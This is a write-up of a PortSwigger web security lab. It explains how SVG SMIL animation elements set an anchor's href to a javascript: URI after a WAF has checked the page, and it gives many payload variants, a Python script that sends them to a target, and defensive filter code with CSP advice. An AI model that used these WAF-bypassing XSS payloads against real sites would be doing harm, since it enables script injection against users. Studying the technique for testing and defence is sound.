PortSwigger — 2025.12.02

SVG XSS: Dynamic href via SMIL Animation

PortSwigger Reflected XSS (WAF bypass via SVG animation) medium

Overview

This technique exploits the temporal gap between HTML parsing (when WAF filters check) and runtime execution (when SVG animations run) to dynamically set dangerous attributes after they’ve passed inspection.

The Payload

<svg><a><animate attributeName=href values=javascript:alert(1) /><text x=20 y=20>Click me</text></a>

Lab Context:

  • Some tags whitelisted (svg, a, text, animate)
  • ALL event handlers blocked
  • Anchor href attribute blocked (static)
  • Must be clickable with “Click” label

Core Concept: Parse Time vs Runtime

The Temporal Gap

Parse Time (WAF Inspection):

<svg><a>                    <!-- No href attribute -->
  <animate attributeName=href values=...>
</a>

WAF sees: “Anchor has no href, safe!”

Runtime (Browser Execution):

<svg><a href="javascript:alert(1)">  <!-- Animation sets href -->
  <text>Click</text>
</a>

Browser sees: “Link with JavaScript, will execute!”

Why Filters Miss This

  1. Static Analysis Limitation: WAFs typically parse HTML once and check attributes
  2. Animation Runs Later: SVG animation engine modifies DOM after parsing
  3. No href at Inspection: The dangerous attribute doesn’t exist during WAF check
  4. Dynamic Modification: SMIL animations can modify any attribute post-parse

Component Breakdown

1. Empty Anchor Element

<svg><a>

Purpose:

  • Creates an anchor with NO href attribute initially
  • Completely harmless at parse time
  • Will become dangerous after animation runs

Why it passes:

# Typical WAF check
if element.tag == 'a' and element.has_attribute('href'):
    return "BLOCKED"
# This <a> has no href -> passes check

2. Animation Element

<animate attributeName=href values=javascript:alert(1) />

Attributes Explained:

attributeName=href

  • Specifies which attribute to modify
  • Targets the parent <a> element’s href
  • Can target ANY attribute (href, fill, x, y, etc.)

values=javascript:alert(1)

  • The value to set
  • Can be a single value or semicolon-separated list
  • Sets href to javascript:alert(1)

Implicit defaults:

  • No dur specified -> applies immediately
  • No begin specified -> starts immediately
  • No to/from -> just sets the value

3. Clickable Text

<text x=20 y=20>Click me</text>

Purpose:

  • Creates visible, clickable content
  • Positioned at SVG coordinates (20, 20)
  • Inherits link behavior from parent <a>
  • Required label for user interaction

Execution Flow

┌─────────────────────────────────┐
│  Step 1: HTML Parse             │
│  User submits payload           │
│  WAF inspects HTML              │
│  <a> has no href attribute      │
│  Decision: ALLOW                │
└─────────────────────────────────┘
              ↓
┌─────────────────────────────────┐
│  Step 2: Browser Renders        │
│  SVG animation engine starts    │
│  <animate> modifies parent <a>  │
│  Sets href="javascript:alert(1)"│
│  Link is now active             │
└─────────────────────────────────┘
              ↓
┌─────────────────────────────────┐
│  Step 3: User Interaction       │
│  User sees "Click me" text      │
│  User clicks on text            │
│  Browser follows href           │
│  Executes JavaScript            │
│  alert(1) runs                  │
└─────────────────────────────────┘

SVG SMIL Animation Primer

What is SMIL?

SMIL = Synchronized Multimedia Integration Language

  • XML-based animation specification
  • Built into SVG standard
  • Allows animations without JavaScript
  • Can modify any SVG attribute

Animation Elements

<animate> - General purpose animation

<animate attributeName=fill values="red;blue" dur=2s />

<set> - Simple value setting (no animation)

<set attributeName=href to=javascript:alert(1) />

<animateTransform> - Transform animations

<animateTransform attributeName=transform type=rotate values="0;360" />

<animateMotion> - Path-based animation

<animateMotion path="M0,0 L100,100" />

Key Animation Attributes

attributeName - Which attribute to modify

<animate attributeName=href />
<animate attributeName=opacity />
<animate attributeName=x />

values - Value(s) to set

<animate values=javascript:alert(1) />        <!-- Single -->
<animate values="red;blue;green" />           <!-- Multiple -->
<animate values=";javascript:alert(1)" />     <!-- Empty to value -->

to/from - Start and end values

<animate from=0 to=100 />

dur - Duration (default: indefinite/immediate)

<animate dur="2s" />    <!-- 2 seconds -->
<animate dur="500ms" /> <!-- 500 milliseconds -->
<animate />             <!-- Immediate -->

begin - When to start (default: immediate)

<animate begin="2s" />     <!-- After 2 seconds -->
<animate begin="click" />  <!-- On click event -->
<animate />                <!-- Immediately -->

Why This Bypasses Filters

Filter Type 1: String Pattern Matching

Filter Logic:

if 'href=' in user_input:
    return "BLOCKED"

Why Bypassed:

  • No href= in the initial HTML string
  • Only attributeName=href (different pattern)
  • Bypassed

Filter Type 2: Attribute Inspection

Filter Logic:

for element in parse_html(html):
    if element.tag == 'a':
        if element.has_attribute('href'):
            return "BLOCKED"

Why Bypassed:

  • <a> element has no href at parse time
  • Filter checks attributes during parsing
  • href is added later by animation
  • Bypassed

Filter Type 3: Dangerous Protocol Detection

Filter Logic:

for link in find_all_links(html):
    if link.href.startswith('javascript:'):
        return "BLOCKED"

Why Bypassed:

  • No links with href exist during inspection
  • javascript: is in values attribute, not href
  • href doesn’t exist yet
  • Bypassed

Filter Type 4: Namespace Blocking

Filter Logic:

if 'href' in attrs or 'xlink:href' in attrs:
    return "BLOCKED"

Why Bypassed:

  • Neither href nor xlink:href present initially
  • Both are set dynamically at runtime
  • Bypassed

Variations & Extensions

Using <set> Instead of <animate>

<svg><a><set attributeName=href to=javascript:alert(1) /><text>Click</text></a>

Differences:

  • <set> is simpler - just sets a value
  • Uses to instead of values
  • No animation, just instant set
  • May be less filtered than <animate>

Setting xlink:href Dynamically

<svg><a><animate attributeName=xlink:href values=javascript:alert(1) /><text>Click</text></a>

Why This Matters:

  • Combines namespace bypass with dynamic setting
  • Double evasion technique
  • Works if either xlink: OR animate is missed

Delayed Execution

<svg><a><animate attributeName=href values=javascript:alert(1) begin=2s /><text>Wait 2s then click</text></a>

Use Cases:

  • Bypass timing-based detection
  • Wait for other page elements to load
  • Evade behavior analysis

Multiple Animations

<svg><a>
  <animate attributeName=href values=javascript:alert(1) />
  <animate attributeName=fill values=red />
  <animate attributeName=font-size values=20 />
  <text>Click</text>
</a>

Benefits:

  • Makes link visually appealing
  • Hides malicious animation among benign ones
  • Increases click likelihood

Animation Chaining

<svg><a id=x>
  <animate attributeName=opacity values="0;1" dur=1s />
  <animate attributeName=href values=javascript:alert(1) begin=1s />
  <text>Click</text>
</a>

Purpose:

  • First animation fades in the element
  • Second animation sets href after fade completes
  • Further timing-based evasion

Protocol Alternatives

Data URI:

<svg><a><animate attributeName=href values="data:text/html,<script>alert(1)</script>" /><text>Click</text></a>

About URI (older browsers):

<svg><a><animate attributeName=href values="about:blank#blocked" /><text>Click</text></a>

Encoding in Values

HTML Entities:

<svg><a><animate attributeName=href values="javascript:alert&#40;1&#41;" /><text>Click</text></a>

URL Encoding:

<svg><a><animate attributeName=href values="javascript:alert%281%29" /><text>Click</text></a>

Real-World Scenarios

Scenario 1: href Blocked, animate Allowed

Context: WAF blocks href attribute but misses animation elements

Attack:

<svg><a><animate attributeName=href values=javascript:alert(1) /><text>Click</text></a>

Result: Bypassed

Scenario 2: Both href and xlink:href Blocked

Context: WAF blocks all href variants statically

Attack:

<svg><a><animate attributeName=href values=javascript:alert(1) /><text>Click</text></a>

Result: Bypassed (href set at runtime)

Scenario 3: javascript: Protocol Filtered

Context: WAF blocks javascript: in href attributes

Attack:

<svg><a><animate attributeName=href values="data:text/html,<script>alert(1)</script>" /><text>Click</text></a>

Result: Bypassed (different protocol)

Scenario 4: animate Tag Blocked

Context: WAF blocks <animate> specifically

Alternatives:

  • Try <set>: <svg><a><set attributeName=href to=javascript:alert(1) /><text>Click</text></a>
  • Try <animateTransform>: May be missed
  • Try <animateMotion>: Different element name
  • Fall back to static bypass: xlink:href

Testing Methodology

Phase 1: Identify Restrictions

Test static href:

<svg><a href="javascript:alert(1)">Click</a>

Result: Blocked

Test xlink:href:

<svg><a xlink:href="javascript:alert(1)">Click</a>

Result: Blocked (in this scenario)

Phase 2: Test Dynamic Setting

Test basic animate:

<svg><a><animate attributeName=href values=javascript:alert(1) /><text>Click</text></a>

Result: Bypassed!

Phase 3: Optimize Payload

Add positioning:

<svg><a><animate attributeName=href values=javascript:alert(1) /><text x=20 y=20>Click me</text></a>

Test delivery:

?search=<svg><a><animate attributeName=href values=javascript:alert(1) /><text x=20 y=20>Click me</text></a>

Phase 4: Alternative Elements

If <animate> blocked, try:

<svg><a><set attributeName=href to=javascript:alert(1) /><text>Click</text></a>
<svg><a><animateTransform attributeName=href values=javascript:alert(1) /><text>Click</text></a>
<svg><a><animateMotion attributeName=href values=javascript:alert(1) /><text>Click</text></a>

Automation Script

import requests
from urllib.parse import urlencode

def test_dynamic_svg(url, param='search'):
    """
    Test SVG dynamic attribute setting bypasses
    """

    payloads = [
        # Basic animate
        '<svg><a><animate attributeName=href values=javascript:alert(1) /><text x=20 y=20>Click</text></a>',

        # Using set
        '<svg><a><set attributeName=href to=javascript:alert(1) /><text x=20 y=20>Click</text></a>',

        # xlink:href variant
        '<svg><a><animate attributeName=xlink:href values=javascript:alert(1) /><text x=20 y=20>Click</text></a>',

        # Alternative animation elements
        '<svg><a><animateTransform attributeName=href values=javascript:alert(1) /><text>Click</text></a>',

        # Data URI protocol
        '<svg><a><animate attributeName=href values="data:text/html,<script>alert(1)</script>" /><text>Click</text></a>',
    ]

    print(f"[*] Testing {url}\n")

    for i, payload in enumerate(payloads, 1):
        print(f"[*] Payload {i}: {payload[:60]}...")

        try:
            r = requests.get(url, params={param: payload}, timeout=10)

            # Check if blocked
            if any(x in r.text.lower() for x in ['blocked', 'invalid', 'error', 'forbidden']):
                print(f"    Blocked\n")
                continue

            # Check if payload reflected
            if 'animate' in r.text and 'attributeName' in r.text:
                print(f"    Payload reflected!")
                print(f"    URL: {r.url}")
                print(f"    Test in browser to confirm execution\n")
            else:
                print(f"    Unclear - check manually\n")

        except Exception as e:
            print(f"    Error: {str(e)}\n")

# Usage
test_dynamic_svg('https://target.com/search')

Defense Strategies

Filter Animation Elements

Block animations that set link attributes:

animation_elements = ['animate', 'set', 'animateTransform', 'animateMotion']
link_attributes = ['href', 'xlink:href', 'xml:href']

for element in parse_svg(user_input):
    if element.tag in animation_elements:
        attr_name = element.get('attributeName', '')
        if attr_name in link_attributes:
            return "BLOCKED: Animation targeting link attribute"

Block Dangerous Protocols in Values

for element in parse_svg(user_input):
    if element.tag in ['animate', 'set']:
        values = element.get('values', '') + element.get('to', '')
        if any(p in values.lower() for p in ['javascript:', 'data:', 'vbscript:']):
            return "BLOCKED: Dangerous protocol in animation"

Comprehensive SVG Filtering

def validate_svg(svg_content):
    # Parse SVG
    tree = parse_xml(svg_content)

    # Check all elements
    for element in tree.iter():
        # Block animation elements setting links
        if element.tag.endswith(('animate', 'set')):
            attr_name = element.get('attributeName', '')
            if 'href' in attr_name.lower():
                return False

        # Block all href variants
        for attr in element.attrib:
            if 'href' in attr.lower():
                return False

    return True

Content Security Policy (Best Defense)

Content-Security-Policy: default-src 'self'; script-src 'self'

Why CSP Works:

  • Blocks ALL javascript: URIs at browser level
  • Doesn’t matter if set statically or dynamically
  • Doesn’t matter which namespace used
  • Can’t be bypassed by client-side tricks
  • Defense-in-depth approach

Key Takeaways

  • Temporal Evasion: Exploits the gap between parse-time inspection and runtime execution
  • SMIL Power: SVG animation can modify any attribute dynamically
  • Static Filters Fail: Filters checking initial state miss dynamic changes
  • Multiple Approaches: Can target href, xlink:href, or other attributes
  • Defense Requires Both: Must check initial state AND prevent dynamic modifications
  • CSP is Essential: Browser-level protection prevents client-side bypasses

Comparison with Static Bypass

Aspect Static (xlink:href) Dynamic (animate)
Bypass Method Namespace confusion Temporal evasion
When href Set Parse time Runtime
Filter Target Attribute name Attribute value
Complexity Simple Moderate
When to Use Quick test Robust bypass
Blocked By Namespace-aware filters Animation-aware filters
Best Against Simple string matching Static attribute inspection
  • SVG xlink:href Namespace Bypass - static attribute bypass
  • Systematic XSS Testing with Burp Intruder
  • SVG Elements Reference
  • SVG Events Reference
  • XSS Testing Punch List

References

#xss #svg #smil-animation #waf-bypass #javascript-uri #portswigger #webapp